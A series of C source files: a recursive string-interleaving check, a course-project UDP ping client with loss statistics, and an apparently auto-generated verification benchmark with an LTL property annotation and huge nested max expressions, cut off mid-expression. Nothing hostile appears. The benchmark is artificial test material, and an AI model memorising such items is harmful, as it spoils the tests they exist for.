B = xyz
C = axbcyzd
There is simple soluion we can do iteratively for this. In which we can check if a char in C is found either in A or B in orderly manner.
How ever that approact wont work if A and B has some common chars. Like
A = xxy
B = xxz
C = xxyxxz
Follwoing solution handles this case
*/
#include<stdio.h>
#include<stdbool.h>
bool check_interleave(char A[], char B[], char C[]) {
// base case if all strings are empty
// we have reached end
if( !(*A || *B || *C)) {
return true;
}
// if only C is empty
if(*C == '\0') {
return false;
}
return ( ((*A == *C) && check_interleave(A+1, B, C+1))
|| (*B == *C ) && check_interleave(A, B+1, C+1));
}
void main() {
char A[] = "xxy";
char B[] = "xxz";
char C[] = "xyxxz";
bool res = check_interleave(A, B, C);
if(res) {
printf("Interleaved");
} else {
printf("Not Interleaved");
}
}
|
the_stack_data/421193.c
|
/*
* Copyright (C) 2018 David Carrascal(1);
*
* (1) University of Alcala, Spain.
*
*
* Ping tool over Udp (Client)
*
* Usage : ./ping_oc.out <IP/destination> <Port>
*
* For more information you can check: github.com/davidcawork/uah-lrss_/tree/master/Ping_over_TCP-UDP/C_version
*
*
*/
#include <stdio.h> /* for printf() ... */
#include <stdlib.h> /* for atoi(), exit(), malloc(), free()*/
#include <netdb.h> /* for gethostby...() and getnet...() and getserver...() */
#include <sys/socket.h> /* for socket(), bind() and connect() */
#include <sys/types.h> /* for socket(), bind() and connect() */
#include <netinet/in.h> /* for sockaddr_in and in_addr_t */
#include <arpa/inet.h> /* for htonl, htons, ntohl and ntohs*/
#include <time.h> /* for clock() */
#include <signal.h> /* To handle CTRL+C signal(sigint) */
#include <stdbool.h> /* for use true/false and type bool */
#include <string.h> /* for memset() */
#include <unistd.h> /* for close() */
#define BUFFER_SIZE 100
#define INTERVAL_REQUEST 2000 /* units: ms (2s) Windows use 4sec() and Linux 1 for non-super user(Source: manual page(ping))*/
#define REQUEST "Ping : Request (8)\n"
#define REPLY "Ping : Reply (0)_______________________________________________\n"
#define MAX_PINGS_LOST 15
/* Main data structure for make a ping request */
typedef struct ping{
char * server_name;
char * port;
int socket;
struct sockaddr_in server;
char buffer[BUFFER_SIZE];
int pings_sent,pings_lost, pings_rcv;
ssize_t data_send, data_recv; //Units : bytes
struct hostent * resolv;
} ping_t;
/* Fuctions Declaration */
volatile bool shouldKeep_pinging = true;
void CTRLDhandler(int a);
void Send_ping(ping_t * , char *, ssize_t *, clock_t * );
void waitReply(ping_t * ,ssize_t * , clock_t * );
int IntervalTimer(clock_t * , clock_t *);
void StatisticsPing(ping_t *, char *,double);
int main(int argc, char * argv []){
/* Var.aux */
ping_t pet_ping;
char ping_request[]= {REQUEST};
int timer_ms = 0;
clock_t interval,init_send;
ssize_t n_data_ = 0;
time_t init,fin;
time(&init);
/* ---- Here starts our program ---- */
/* Prepare CTRL+C exit */
if(signal(SIGINT, &CTRLDhandler) == SIG_ERR){
printf("Error: cannot set signal handler\n");
exit(1);
}
/* Check arg's */
if(argc > 3){
printf("Error: Usage: %s <destination> <port>\n",argv[0]);
exit(1);
}else{
/* DNS query */
pet_ping.resolv = gethostbyname(argv[1]);
if((pet_ping.resolv) == NULL){
printf("Error: cannot find Ip\n");
exit(1);
}else{
pet_ping.pings_sent = 0;
pet_ping.pings_rcv = 0;
pet_ping.pings_lost=0;
pet_ping.data_send = 0;
pet_ping.data_recv = 0;
pet_ping.server_name = pet_ping.resolv->h_addr_list[0];
pet_ping.port = argv[2];
/*
* Let's fill our socket addr with 0, for compatibility (struct sockaddr_in) - (struct sockaddr)
*
* It'll be better explained in the readme or in the memory, still I don't know what I will do :s
*
*/
memset(&pet_ping.server, 0 , sizeof(struct sockaddr_in));
pet_ping.server.sin_family = AF_INET;
pet_ping.server.sin_port = htons(atoi(pet_ping.port)); /* To big Endian */
bcopy((char *)pet_ping.resolv->h_addr_list[0],(char *)&pet_ping.server.sin_addr.s_addr,pet_ping.resolv->h_length);
/* Create a stream socket - UDP */
if((pet_ping.socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0){
printf("Error: cannot create a socket() :L \n");
exit(1);
}
/* First Ping */
printf("\nPING %s (%s) with %d bytes of data.\n",argv[1], inet_ntoa(*((struct in_addr *) pet_ping.resolv->h_addr_list[0])), sizeof(REQUEST));
Send_ping(&pet_ping, ping_request, &n_data_,&init_send);
while(shouldKeep_pinging){
/* Get Interval */
timer_ms = IntervalTimer(&interval,&init_send);
/* Should we ping again, the interval has reached? */
if(timer_ms >= INTERVAL_REQUEST){
Send_ping(&pet_ping, ping_request, &n_data_,&init_send);
/* Just enter to receive if there are pings to receive,
we do not want it to be left waiting for pings that do not exist
(The server is a passive element, only responds)*/
}else if(pet_ping.pings_sent > pet_ping.pings_rcv){
waitReply(&pet_ping,&n_data_,&init_send);
/* I consider that if 15 pings have been lost the server is not reachable */
}else if(pet_ping.pings_lost == MAX_PINGS_LOST){
break;
}
}
/* If user do CTRL+C : track fin time(Not too accurarte, just seconds of precision) , and show the statistics + close the connection */
time(&fin);
StatisticsPing(&pet_ping,argv[1],difftime(fin ,init));
close(pet_ping.socket);
}
}
return 0;
}
/* Fuctions definitions */
void CTRLDhandler(int a){
shouldKeep_pinging = false;
}
void Send_ping(ping_t * pet, char * request, ssize_t * n_data_sent,clock_t * init_send){
*(n_data_sent) = sendto(pet->socket, request,strlen(request), 0, (struct sockaddr *)&pet->server,sizeof(pet->server));
*(init_send) = clock();
if(*(n_data_sent) < 0){
printf("Error: cannot send a request\n");
exit(1);
}else{
pet->pings_sent++;
pet->data_send += *(n_data_sent) ;
}
}
void waitReply(ping_t * pet, ssize_t * n_data_recv, clock_t * init_send){
/* Var.aux */
size_t total_data_rcv = 0;
clock_t aux_intv;
/*
* Let's assume that if we don't receive a response before 80% of the send interval,
* the ping has been lost.
*
* With this approach we try that there are no race conditions at the time of sending and receiving pings,
* and that the send interval is respected.
*
* In addition, to not complicating the program anymore, otherwise we would have to add another counter
* that is responsible for establishing if a package is has lost.
*
* :)
*
*/
while( total_data_rcv < (strlen(REPLY)) ){
*(n_data_recv) = recvfrom(pet->socket,pet->buffer,BUFFER_SIZE -1 , 0,(struct sockaddr *)0,(int *)0);
if(*(n_data_recv) < 0){
printf("Error: cannot recv data\n");
exit(1);
}
total_data_rcv += *(n_data_recv);
pet->buffer[*n_data_recv] = '\0';
pet->data_recv += *(n_data_recv);
if(IntervalTimer(&aux_intv,init_send) > (0.9*INTERVAL_REQUEST)){
pet->pings_lost++;
break;
}
}
if(total_data_rcv == (strlen(REPLY))){
pet->pings_rcv++;
printf("%d bytes from %s (%s): num_seq=%d time=%d ms\n", total_data_rcv, pet->resolv->h_name,inet_ntoa(*((struct in_addr *) pet->resolv->h_addr_list[0])),pet->pings_rcv,IntervalTimer(&aux_intv,init_send));
}
}
int IntervalTimer(clock_t * interval, clock_t * init_send){
*interval = clock() - *init_send;
return (((*interval) * 1000) / CLOCKS_PER_SEC);
}
void StatisticsPing(ping_t * pet, char * name, double tm){
printf("\n--- %s ping statistics ---\n",name);
printf("%d packets transmitted, %d received, %0.3f%c packet loss, total time %0.2f (s)\n\n",pet->pings_sent, (pet->pings_rcv), 100*((float)(pet->pings_lost)/pet->pings_sent),0x25,tm);
}
|
the_stack_data/9512089.c
|
//@ ltl invariant negative: (<> (X (AP(x_6 - x_23 > 3) || AP(x_2 - x_21 > 11))));
float x_0;
float x_1;
float x_2;
float x_3;
float x_4;
float x_5;
float x_6;
float x_7;
float x_8;
float x_9;
float x_10;
float x_11;
float x_12;
float x_13;
float x_14;
float x_15;
float x_16;
float x_17;
float x_18;
float x_19;
float x_20;
float x_21;
float x_22;
float x_23;
float x_24;
float x_25;
float x_26;
float x_27;
float x_28;
float x_29;
float x_30;
float x_31;
int main()
{
float x_0_;
float x_1_;
float x_2_;
float x_3_;
float x_4_;
float x_5_;
float x_6_;
float x_7_;
float x_8_;
float x_9_;
float x_10_;
float x_11_;
float x_12_;
float x_13_;
float x_14_;
float x_15_;
float x_16_;
float x_17_;
float x_18_;
float x_19_;
float x_20_;
float x_21_;
float x_22_;
float x_23_;
float x_24_;
float x_25_;
float x_26_;
float x_27_;
float x_28_;
float x_29_;
float x_30_;
float x_31_;
while(1) {
x_0_ = (((((20.0 + x_1) > (14.0 + x_2)? (20.0 + x_1) : (14.0 + x_2)) > ((4.0 + x_4) > (7.0 + x_5)? (4.0 + x_4) : (7.0 + x_5))? ((20.0 + x_1) > (14.0 + x_2)? (20.0 + x_1) : (14.0 + x_2)) : ((4.0 + x_4) > (7.0 + x_5)? (4.0 + x_4) : (7.0 + x_5))) > (((4.0 + x_7) > (4.0 + x_8)? (4.0 + x_7) : (4.0 + x_8)) > ((11.0 + x_13) > (10.0 + x_16)? (11.0 + x_13) : (10.0 + x_16))? ((4.0 + x_7) > (4.0 + x_8)? (4.0 + x_7) : (4.0 + x_8)) : ((11.0 + x_13) > (10.0 + x_16)? (11.0 + x_13) : (10.0 + x_16)))? (((20.0 + x_1) > (14.0 + x_2)? (20.0 + x_1) : (14.0 + x_2)) > ((4.0 + x_4) > (7.0 + x_5)? (4.0 + x_4) : (7.0 + x_5))? ((20.0 + x_1) > (14.0 + x_2)? (20.0 + x_1) : (14.0 + x_2)) : ((4.0 + x_4) > (7.0 + x_5)? (4.0 + x_4) : (7.0 + x_5))) : (((4.0 + x_7) > (4.0 + x_8)? (4.0 + x_7) : (4.0 + x_8)) > ((11.0 + x_13) > (10.0 + x_16)? (11.0 + x_13) : (10.0 + x_16))? ((4.0 + x_7) > (4.0 + x_8)? (4.0 + x_7) : (4.0 + x_8)) : ((11.0 + x_13) > (10.0 + x_16)? (11.0 + x_13) : (10.0 + x_16)))) > ((((8.0 + x_21) > (15.0 + x_22)? (8.0 + x_21) : (15.0 + x_22)) > ((7.0 + x_23) > (15.0 + x_25)? (7.0 + x_23) : (15.0 + x_25))? ((8.0 + x_21) > (15.0 + x_22)? (8.0 + x_21) : (15.0 + x_22)) : ((7.0 + x_23) > (15.0 + x_25)? (7.0 + x_23) : (15.0 + x_25))) > (((14.0 + x_26) > (10.0 + x_28)? (14.0 + x_26) : (10.0 + x_28)) > ((19.0 + x_30) > (9.0 + x_31)? (19.0 + x_30) : (9.0 + x_31))? ((14.0 + x_26) > (10.0 + x_28)? (14.0 + x_26) : (10.0 + x_28)) : ((19.0 + x_30) > (9.0 + x_31)? (19.0 + x_30) : (9.0 + x_31)))? (((8.0 + x_21) > (15.0 + x_22)? (8.0 + x_21) : (15.0 + x_22)) > ((7.0 + x_23) > (15.0 + x_25)? (7.0 + x_23) : (15.0 + x_25))? ((8.0 + x_21) > (15.0 + x_22)? (8.0 + x_21) : (15.0 + x_22)) : ((7.0 + x_23) > (15.0 + x_25)? (7.0 + x_23) : (15.0 + x_25))) : (((14.0 + x_26) > (10.0 + x_28)? (14.0 + x_26) : (10.0 + x_28)) > ((19.0 + x_30) > (9.0 + x_31)? (19.0 + x_30) : (9.0 + x_31))? ((14.0 + x_26) > (10.0 + x_28)? (14.0 + x_26) : (10.0 + x_28)) : ((19.0 + x_30) > (9.0 + x_31)? (19.0 + x_30) : (9.0 + x_31))))? ((((20.0 + x_1) > (14.0 + x_2)? (20.0 + x_1) : (14.0 + x_2)) > ((4.0 + x_4) > (7.0 + x_5)? (4.0 + x_4) : (7.0 + x_5))? ((20.0 + x_1) > (14.0 + x_2)? (20.0 + x_1) : (14.0 + x_2)) : ((4.0 + x_4) > (7.0 + x_5)? (4.0 + x_4) : (7.0 + x_5))) > (((4.0 + x_7) > (4.0 + x_8)? (4.0 + x_7) : (4.0 + x_8)) > ((11.0 + x_13) > (10.0 + x_16)? (11.0 + x_13) : (10.0 + x_16))? ((4.0 + x_7) > (4.0 + x_8)? (4.0 + x_7) : (4.0 + x_8)) : ((11.0 + x_13) > (10.0 + x_16)? (11.0 + x_13) : (10.0 + x_16)))? (((20.0 + x_1) > (14.0 + x_2)? (20.0 + x_1) : (14.0 + x_2)) > ((4.0 + x_4) > (7.0 + x_5)? (4.0 + x_4) : (7.0 + x_5))? ((20.0 + x_1) > (14.0 + x_2)? (20.0 + x_1) : (14.0 + x_2)) : ((4.0 + x_4) > (7.0 + x_5)? (4.0 + x_4) : (7.0 + x_5))) : (((4.0 + x_7) > (4.0 + x_8)? (4.0 + x_7) : (4.0 + x_8)) > ((11.0 + x_13) > (10.0 + x_16)? (11.0 + x_13) : (10.0 + x_16))? ((4.0 + x_7) > (4.0 + x_8)? (4.0 + x_7) : (4.0 + x_8)) : ((11.0 + x_13) > (10.0 + x_16)? (11.0 + x_13) : (10.0 + x_16)))) : ((((8.0 + x_21) > (15.0 + x_22)? (8.0 + x_21) : (15.0 + x_22)) > ((7.0 + x_23) > (15.0 + x_25)? (7.0 + x_23) : (15.0 + x_25))? ((8.0 + x_21) > (15.0 + x_22)? (8.0 + x_21) : (15.0 + x_22)) : ((7.0 + x_23) > (15.0 + x_25)? (7.0 + x_23) : (15.0 + x_25))) > (((14.0 + x_26) > (10.0 + x_28)? (14.0 + x_26) : (10.0 + x_28)) > ((19.0 + x_30) > (9.0 + x_31)? (19.0 + x_30) : (9.0 + x_31))? ((14.0 + x_26) > (10.0 + x_28)? (14.0 + x_26) : (10.0 + x_28)) : ((19.0 + x_30) > (9.0 + x_31)? (19.0 + x_30) : (9.0 + x_31)))? (((8.0 + x_21) > (15.0 + x_22)? (8.0 + x_21) : (15.0 + x_22)) > ((7.0 + x_23) > (15.0 + x_25)? (7.0 + x_23) : (15.0 + x_25))? ((8.0 + x_21) > (15.0 + x_22)? (8.0 + x_21) : (15.0 + x_22)) : ((7.0 + x_23) > (15.0 + x_25)? (7.0 + x_23) : (15.0 + x_25))) : (((14.0 + x_26) > (10.0 + x_28)? (14.0 + x_26) : (10.0 + x_28)) > ((19.0 + x_30) > (9.0 + x_31)? (19.0 + x_30) : (9.0 + x_31))? ((14.0 + x_26) > (10.0 + x_28)? (14.0 + x_26) : (10.0 + x_28)) : ((19.0 + x_30) > (9.0 + x_31)? (19.0 + x_30) : (9.0 + x_31)))));
x_1_ = (((((9.0 + x_0) > (8.0 + x_3)? (9.0 + x_0) : (8.0 + x_3)) > ((18.0 + x_4) > (13.0 + x_5)? (18.0 + x_4) : (13.0 + x_5))? ((9.0 + x_0) > (8.0 + x_3)? (9.0 + x_0) : (8.0 + x_3)) : ((18.0 + x_4) > (13.0 + x_5)? (18.0 + x_4) : (13.0 + x_5))) > (((10.0 + x_10) > (4.0 + x_15)? (10.0 + x_10) : (4.0 + x_15)) > ((15.0 + x_16) > (5.0 + x_18)? (15.0 + x_16) : (5.0 + x_18))? ((10.0 + x_10) > (4.0 + x_15)? (10.0 + x_10) : (4.0 + x_15)) : ((15.0 + x_16) > (5.0 + x_18)? (15.0 + x_16) : (5.0 + x_18)))? (((9.0 + x_0) > (8.0 + x_3)? (9.0 + x_0) : (8.0 + x_3)) > ((18.0 + x_4) > (13.0 + x_5)? (18.0 + x_4) : (13.0 + x_5))? ((9.0 + x_0) > (8.0 + x_3)? (9.0 + x_0) : (8.0 + x_3)) : ((18.0 + x_4) > (13.0 + x_5)? (18.0 + x_4) : (13.0 + x_5))) : (((10.0 + x_10) > (4.0 + x_15)? (10.0 + x_10) : (4.0 + x_15)) > ((15.0 + x_16) > (5.0 + x_18)? (15.0 + x_16) : (5.0 + x_18))? ((10.0 + x_10) > (4.0 + x_15)? (10.0 + x_10) : (4.0 + x_15)) : ((15.0 + x_16) > (5.0 + x_18)? (15.0 + x_16) : (5.0 + x_18)))) > ((((10.0 + x_21) > (13.0 + x_22)? (10.0 + x_21) : (13.0 + x_22)) > ((18.0 + x_23) > (11.0 + x_25)? (18.0 + x_23) : (11.0 + x_25))? ((10.0 + x_21) > (13.0 + x_22)? (10.0 + x_21) : (13.0 + x_22)) : ((18.0 + x_23) > (11.0 + x_25)? (18.0 + x_23) : (11.0 + x_25))) > (((20.0 + x_26) > (7.0 + x_27)? (20.0 + x_26) : (7.0 + x_27)) > ((10.0 + x_30) > (19.0 + x_31)? (10.0 + x_30) : (19.0 + x_31))? ((20.0 + x_26) > (7.0 + x_27)? (20.0 + x_26) : (7.0 + x_27)) : ((10.0 + x_30) > (19.0 + x_31)? (10.0 + x_30) : (19.0 + x_31)))? (((10.0 + x_21) > (13.0 + x_22)? (10.0 + x_21) : (13.0 + x_22)) > ((18.0 + x_23) > (11.0 + x_25)? (18.0 + x_23) : (11.0 + x_25))? ((10.0 + x_21) > (13.0 + x_22)? (10.0 + x_21) : (13.0 + x_22)) : ((18.0 + x_23) > (11.0 + x_25)? (18.0 + x_23) : (11.0 + x_25))) : (((20.0 + x_26) > (7.0 + x_27)? (20.0 + x_26) : (7.0 + x_27)) > ((10.0 + x_30) > (19.0 + x_31)? (10.0 + x_30) : (19.0 + x_31))? ((20.0 + x_26) > (7.0 + x_27)? (20.0 + x_26) : (7.0 + x_27)) : ((10.0 + x_30) > (19.0 + x_31)? (10.0 + x_30) : (19.0 + x_31))))? ((((9.0 + x_0) > (8.0 + x_3)? (9.0 + x_0) : (8.0 + x_3)) > ((18.0 + x_4) > (13.0 + x_5)? (18.0 + x_4) : (13.0 + x_5))? ((9.0 + x_0) > (8.0 + x_3)? (9.0 + x_0) : (8.0 + x_3)) : ((18.0 + x_4) > (13.0 + x_5)? (18.0 + x_4) : (13.0 + x_5))) > (((10.0 + x_10) > (4.0 + x_15)? (10.0 + x_10) : (4.0 + x_15)) > ((15.0 + x_16) > (5.0 + x_18)? (15.0 + x_16) : (5.0 + x_18))? ((10.0 + x_10) > (4.0 + x_15)? (10.0 + x_10) : (4.0 + x_15)) : ((15.0 + x_16) > (5.0 + x_18)? (15.0 + x_16) : (5.0 + x_18)))? (((9.0 + x_0) > (8.0 + x_3)? (9.0 + x_0) : (8.0 + x_3)) > ((18.0 + x_4) > (13.0 + x_5)? (18.0 + x_4) : (13.0 + x_5))? ((9.0 + x_0) > (8.0 + x_3)? (9.0 + x_0) : (8.0 + x_3)) : ((18.0 + x_4) > (13.0 + x_5)? (18.0 + x_4) : (13.0 + x_5))) : (((10.0 + x_10) > (4.0 + x_15)? (10.0 + x_10) : (4.0 + x_15)) > ((15.0 + x_16) > (5.0 + x_18)? (15.0 + x_16) : (5.0 + x_18))? ((10.0 + x_10) > (4.0 + x_15)? (10.0 + x_10) : (4.0 + x_15)) : ((15.0 + x_16) > (5.0 + x_18)? (15.0 + x_16) : (5.0 + x_18)))) : ((((10.0 + x_21) > (13.0 + x_22)? (10.0 + x_21) : (13.0 + x_22)) > ((18.0 + x_23) > (11.0 + x_25)? (18.0 + x_23) : (11.0 + x_25))? ((10.0 + x_21) > (13.0 + x_22)? (10.0 + x_21) : (13.0 + x_22)) : ((18.0 + x_23) > (11.0 + x_25)? (18.0 + x_23) : (11.0 + x_25))) > (((20.0 + x_26) > (7.0 + x_27)? (20.0 + x_26) : (7.0 + x_27)) > ((10.0 + x_30) > (19.0 + x_31)? (10.0 + x_30) : (19.0 + x_31))? ((20.0 + x_26) > (7.0 + x_27)? (20.0 + x_26) : (7.0 + x_27)) : ((10.0 + x_30) > (19.0 + x_31)? (10.0 + x_30) : (19.0 + x_31)))? (((10.0 + x_21) > (13.0 + x_22)? (10.0 + x_21) : (13.0 + x_22)) > ((18.0 + x_23) > (11.0 + x_25)? (18.0 + x_23) : (11.0 + x_25))? ((10.0 + x_21) > (13.0 + x_22)? (10.0 + x_21) : (13.0 + x_22)) : ((18.0 + x_23) > (11.0 + x_25)? (18.0 + x_23) : (11.0 + x_25))) : (((20.0 + x_26) > (7.0 + x_27)? (20.0 + x_26) : (7.0 + x_27)) > ((10.0 + x_30) > (19.0 + x_31)? (10.0 + x_30) : (19.0 + x_31))? ((20.0 + x_26) > (7.0 + x_27)? (20.0 + x_26) : (7.0 + x_27)) : ((10.0 + x_30) > (19.0 + x_31)? (10.0 + x_30) : (19.0 + x_31)))));
x_2_ = (((((19.0 + x_0) > (15.0 + x_4)? (19.0 + x_0) : (15.0 + x_4)) > ((5.0 + x_6) > (6.0 + x_7)? (5.0 + x_6) : (6.0 + x_7))? ((19.0 + x_0) > (15.0 + x_4)? (19.0 + x_0) : (15.0 + x_4)) : ((5.0 + x_6) > (6.0 + x_7)? (5.0 + x_6) : (6.0 + x_7))) > (((7.0 + x_9) > (7.0 + x_11)? (7.0 + x_9) : (7.0 + x_11)) > ((5.0 + x_13) > (7.0 + x_15)? (5.0 + x_13) : (7.0 + x_15))? ((7.0 + x_9) > (7.0 + x_11)? (7.0 + x_9) : (7.0 + x_11)) : ((5.0 + x_13) > (7.0 + x_15)? (5.0 + x_13) : (7.0 + x_15)))? (((19.0 + x_0) > (15.0 + x_4)? (19.0 + x_0) : (15.0 + x_4)) > ((5.0 + x_6) > (6.0 + x_7)? (5.0 + x_6) : (6.0 + x_7))? ((19.0 + x_0) > (15.0 + x_4)? (19.0 + x_0) : (15.0 + x_4)) : ((5.0 + x_6) > (6.0 + x_7)? (5.0 + x_6) : (6.0 + x_7))) : (((7.0 + x_9) > (7.0 + x_11)? (7.0 + x_9) : (7.0 + x_11)) > ((5.0 + x_13) > (7.0 + x_15)? (5.0 + x_13) : (7.0 + x_15))? ((7.0 + x_9) > (7.0 + x_11)? (7.0 + x_9) : (7.0 + x_11)) : ((5.0 + x_13) > (7.0 + x_15)? (5.0 + x_13) : (7.0 + x_15)))) > ((((13.0 + x_16) > (15.0 + x_18)? (13.0 + x_16) : (15.0 + x_18)) > ((20.0 + x_19) > (4.0 + x_20)? (20.0 + x_19) : (4.0 + x_20))? ((13.0 + x_16) > (15.0 + x_18)? (13.0 + x_16) : (15.0 + x_18)) : ((20.0 + x_19) > (4.0 + x_20)? (20.0 + x_19) : (4.0 + x_20))) > (((8.0 + x_21) > (3.0 + x_22)? (8.0 + x_21) : (3.0 + x_22)) > ((17.0 + x_28) > (19.0 + x_29)? (17.0 + x_28) : (19.0 + x_29))? ((8.0 + x_21) > (3.0 + x_22)? (8.0 + x_21) : (3.0 + x_22)) : ((17.0 + x_28) > (19.0 + x_29)? (17.0 + x_28) : (19.0 + x_29)))? (((13.0 + x_16) > (15.0 + x_18)? (13.0 + x_16) : (15.0 + x_18)) > ((20.0 + x_19) > (4.0 + x_20)? (20.0 + x_19) : (4.0 + x_20))? ((13.0 + x_16) > (15.0 + x_18)? (13.0 + x_16) : (15.0 + x_18)) : ((20.0 + x_19) > (4.0 + x_20)? (20.0 + x_19) : (4.0 + x_20))) : (((8.0 + x_21) > (3.0 + x_22)? (8.0 + x_21) : (3.0 + x_22)) > ((17.0 + x_28) > (19.0 + x_29)? (17.0 + x_28) : (19.0 + x_29))? ((8.0 + x_21) > (3.0 + x_22)? (8.0 + x_21) : (3.0 + x_22)) : ((17.0 + x_28) > (19.0 + x_29)? (17.0 + x_28) : (19.0 + x_29))))? ((((19.0 + x_0) > (15.0 + x_4)? (19.0 + x_0) : (15.0 + x_4)) > ((5.0 + x_6) > (6.0 + x_7)? (5.0 + x_6) : (6.0 + x_7))? ((19.0 + x_0) > (15.0 + x_4)? (19.0 + x_0) : (15.0 + x_4)) : ((5.0 + x_6) > (6.0 + x_7)? (5.0 + x_6) : (6.0 + x_7))) > (((7.0 + x_9) > (7.0 + x_11)? (7.0 + x_9) : (7.0 + x_11)) > ((5.0 + x_13) > (7.0 + x_15)? (5.0 + x_13) : (7.0 + x_15))? ((7.0 + x_9) > (7.0 + x_11)? (7.0 + x_9) : (7.0 + x_11)) : ((5.0 + x_13) > (7.0 + x_15)? (5.0 + x_13) : (7.0 + x_15)))? (((19.0 + x_0) > (15.0 + x_4)? (19.0 + x_0) : (15.0 + x_4)) > ((5.0 + x_6) > (6.0 + x_7)? (5.0 + x_6) : (6.0 + x_7))? ((19.0 + x_0) > (15.0 + x_4)? (19.0 + x_0) : (15.0 + x_4)) : ((5.0 + x_6) > (6.0 + x_7)? (5.0 + x_6) : (6.0 + x_7))) : (((7.0 + x_9) > (7.0 + x_11)? (7.0 + x_9) : (7.0 + x_11)) > ((5.0 + x_13) > (7.0 + x_15)? (5.0 + x_13) : (7.0 + x_15))? ((7.0 + x_9) > (7.0 + x_11)? (7.0 + x_9) : (7.0 + x_11)) : ((5.0 + x_13) > (7.0 + x_15)? (5.0 + x_13) : (7.0 + x_15)))) : ((((13.0 + x_16) > (15.0 + x_18)? (13.0 + x_16) : (15.0 + x_18)) > ((20.0 + x_19) > (4.0 + x_20)? (20.0 + x_19) : (4.0 + x_20))? ((13.0 + x_16) > (15.0 + x_18)? (13.0 + x_16) : (15.0 + x_18)) : ((20.0 + x_19) > (4.0 + x_20)? (20.0 + x_19) : (4.0 + x_20))) > (((8.0 + x_21) > (3.0 + x_22)? (8.0 + x_21) : (3.0 + x_22)) > ((17.0 + x_28) > (19.0 + x_29)? (17.0 + x_28) : (19.0 + x_29))? ((8.0 + x_21) > (3.0 + x_22)? (8.0 + x_21) : (3.0 + x_22)) : ((17.0 + x_28) > (19.0 + x_29)? (17.0 + x_28) : (19.0 + x_29)))? (((13.0 + x_16) > (15.0 + x_18)? (13.0 + x_16) : (15.0 + x_18)) > ((20.0 + x_19) > (4.0 + x_20)? (20.0 + x_19) : (4.0 + x_20))? ((13.0 + x_16) > (15.0 + x_18)? (13.0 + x_16) : (15.0 + x_18)) : ((20.0 + x_19) > (4.0 + x_20)? (20.0 + x_19) : (4.0 + x_20))) : (((8.0 + x_21) > (3.0 + x_22)? (8.0 + x_21) : (3.0 + x_22)) > ((17.0 + x_28) > (19.0 + x_29)? (17.0 + x_28) : (19.0 + x_29))? ((8.0 + x_21) > (3.0 + x_22)? (8.0 + x_21) : (3.0 + x_22)) : ((17.0 + x_28) > (19.0 + x_29)? (17.0 + x_28) : (19.0 + x_29)))));
x_3_ = (((((15.0 + x_0) > (12.0 + x_1)? (15.0 + x_0) : (12.0 + x_1)) > ((8.0 + x_2) > (16.0 + x_3)? (8.0 + x_2) : (16.0 + x_3))? ((15.0 + x_0) > (12.0 + x_1)? (15.0 + x_0) : (12.0 + x_1)) : ((8.0 + x_2) > (16.0 + x_3)? (8.0 + x_2) : (16.0 + x_3))) > (((7.0 + x_4) > (14.0 + x_9)? (7.0 + x_4) : (14.0 + x_9)) > ((6.0 + x_10) > (20.0 + x_13)? (6.0 + x_10) : (20.0 + x_13))? ((7.0 + x_4) > (14.0 + x_9)? (7.0 + x_4) : (14.0 + x_9)) : ((6.0 + x_10) > (20.0 + x_13)? (6.0 + x_10) : (20.0 + x_13)))? (((15.0 + x_0) > (12.0 + x_1)? (15.0 + x_0) : (12.0 + x_1)) > ((8.0 + x_2) > (16.0 + x_3)? (8.0 + x_2) : (16.0 + x_3))? ((15.0 + x_0) > (12.0 + x_1)? (15.0 + x_0) : (12.0 + x_1)) : ((8.0 + x_2) > (16.0 + x_3)? (8.0 + x_2) : (16.0 + x_3))) : (((7.0 + x_4) > (14.0 + x_9)? (7.0 + x_4) : (14.0 + x_9)) > ((6.0 + x_10) > (20.0 + x_13)? (6.0 + x_10) : (20.0 + x_13))? ((7.0 + x_4) > (14.0 + x_9)? (7.0 + x_4) : (14.0 + x_9)) : ((6.0 + x_10) > (20.0 + x_13)? (6.0 + x_10) : (20.0 + x_13)))) > ((((9.0 + x_14) > (13.0 + x_16)? (9.0 + x_14) : (13.0 + x_16)) > ((14.0 + x_17) > (12.0 + x_20)? (14.0 + x_17) : (12.0 + x_20))? ((9.0 + x_14) > (13.0 + x_16)? (9.0 + x_14) : (13.0 + x_16)) : ((14.0 + x_17) > (12.0 + x_20)? (14.0 + x_17) : (12.0 + x_20))) > (((14.0 + x_22) > (20.0 + x_26)? (14.0 + x_22) : (20.0 + x_26)) > ((9.0 + x_27) > (4.0 + x_30)? (9.0 + x_27) : (4.0 + x_30))? ((14.0 + x_22) > (20.0 + x_26)? (14.0 + x_22) : (20.0 + x_26)) : ((9.0 + x_27) > (4.0 + x_30)? (9.0 + x_27) : (4.0 + x_30)))? (((9.0 + x_14) > (13.0 + x_16)? (9.0 + x_14) : (13.0 + x_16)) > ((14.0 + x_17) > (12.0 + x_20)? (14.0 + x_17) : (12.0 + x_20))? ((9.0 + x_14) > (13.0 + x_16)? (9.0 + x_14) : (13.0 + x_16)) : ((14.0 + x_17) > (12.0 + x_20)? (14.0 + x_17) : (12.0 + x_20))) : (((14.0 + x_22) > (20.0 + x_26)? (14.0 + x_22) : (20.0 + x_26)) > ((9.0 + x_27) > (4.0 + x_30)? (9.0 + x_27) : (4.0 + x_30))? ((14.0 + x_22) > (20.0 + x_26)? (14.0 + x_22) : (20.0 + x_26)) : ((9.0 + x_27) > (4.0 + x_30)? (9.0 + x_27) : (4.0 + x_30))))? ((((15.0 + x_0) > (12.0 + x_1)? (15.0 + x_0) : (12.0 + x_1)) > ((8.0 + x_2) > (16.0 + x_3)? (8.0 + x_2) : (16.0 + x_3))? ((15.0 + x_0) > (12.0 + x_1)? (15.0 + x_0) : (12.0 + x_1)) : ((8.0 + x_2) > (16.0 + x_3)? (8.0 + x_2) : (16.0 + x_3))) > (((7.0 + x_4) > (14.0 + x_9)? (7.0 + x_4) : (14.0 + x_9)) > ((6.0 + x_10) > (20.0 + x_13)? (6.0 + x_10) : (20.0 + x_13))? ((7.0 + x_4) > (14.0 + x_9)? (7.0 + x_4) : (14.0 + x_9)) : ((6.0 + x_10) > (20.0 + x_13)? (6.0 + x_10) : (20.0 + x_13)))? (((15.0 + x_0) > (12.0 + x_1)? (15.0 + x_0) : (12.0 + x_1)) > ((8.0 + x_2) > (16.0 + x_3)? (8.0 + x_2) : (16.0 + x_3))? ((15.0 + x_0) > (12.0 + x_1)? (15.0 + x_0) : (12.0 + x_1)) : ((8.0 + x_2) > (16.0 + x_3)? (8.0 + x_2) : (16.0 + x_3))) : (((7.0 + x_4) > (14.0 + x_9)? (7.0 + x_4) : (14.0 + x_9)) 